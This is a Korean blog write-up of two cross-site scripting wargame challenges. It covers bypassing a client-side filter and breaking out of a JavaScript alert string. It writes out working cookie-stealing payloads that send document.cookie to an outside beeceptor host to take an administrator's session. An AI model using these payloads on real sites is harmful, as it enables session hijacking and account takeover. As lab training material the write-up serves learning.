본문 바로가기
WarGame/Normaltic

xss write up 3

by mee.now 2025. 12. 26.

xss 5번 문제

글을 수정할 때 등록할 때 모두 html entity로 바뀌는 것을 알 수 있다. 

이렇게 저장되게 하는 js 코드를 보면 아래와 같이 replace를 통해 바뀌는 것을 알 수 있다.   

checkContent 함수와 onsubmit을 삭제한 뒤 다시 요청을 보내면 script가 실행되는 것을 알 수 있다. 

intercept를 통해 중간에 response의 코드를 변경한다. 

앞에서 언급했던 삭제해야하는 부분을 response에서 삭제한 후 forward를 하면 

아래와 같이 쿠키값이 나온다. 

관리자 페이지에서 위의 url을 클릭하면 관리자의 세션 id가 beeceptor에 전달되도록 script에 

<script>var i = new Image(); i.src="https://entry.free.beeceptor.com?cookie="+document.cookie</script>

쿠키값이 잘 전달되었음을 알 수 있다. 이제는 관리자 페이지에서 url을 보내면 flag값을 얻을 수 있다. 

xss 6번 문제 

원래 id가 norm pw가 1004 인데 여기서는 norm2로 일부러 잘못된 id값을 입력한 결과 등록되지 않은 사용자라는 알림이 뜬다

이를 통해 입력값이 화면에 그대로 출력되어 js를 조작할 수 있는 상태임을 알 수 있다. 

<script>alert(1)</script>를 입력했지만 아무것도 나타나지 않았다. 

이것을 버프수트를 통해 알아보니 script 사이에 alert구문 속에 사용자가 입력한 글자가 들어가는 것이었다. 

앞의 alert 문장이 다 끝나지 않은 채 마무리되었기에 아무것도 나타나지 않는 것이다.

그러므로 ');alert(1);(' 이렇게 하면 

[ 와 1이 뜨는 것을 알 수 있다.

공격문을 다음과 같이 넣어준다. </script><script>new Image().src=" https://entry.free.beeceptor.com?cookie="+document.cookie</script> 이것을 넣고 post -> get 방식으로 변환한 후 

관리자 페이지에 url을 넣어서 요청하려 했는데 beeceptor에는 아무런 요청값이 나오지 않았다. 

https://blog.naver.com/www218com/224120114170 이 블로그를 참조하여 알아보니 비동기 처리 방식에 원인이 있었다.

new image().src 를 통해서 요청을 하는 것은 비동기 처리방식이고 이와 비슷한 것에는 fetch가 있다. 

바로 요청을 보내고 싶을 때는 location.href와 같은 것을 사용해야했다. 

바로 요청을 보내기 위해 다음과 같은 payload를 id에 작성한다.

</script><script>location.href="https://entry.free.beeceptor.com?cookie="+document.cookie</script>

이렇게 한 뒤 burpsuite에서 요청 방식을 get으로 바꾸고 관리자 페이지에서 url을 보내면 된다.

url 전송 결과가 아래에 나오면 성공이다. 

 

'WarGame > Normaltic' 카테고리의 다른 글

csrf 문제 풀이  (0) 2026.01.14
ClientScript  (0) 2026.01.03
xss writeup 2  (0) 2025.12.24
xss writeup 1  (0) 2025.12.24
sqli segfault writeup  (0) 2025.11.26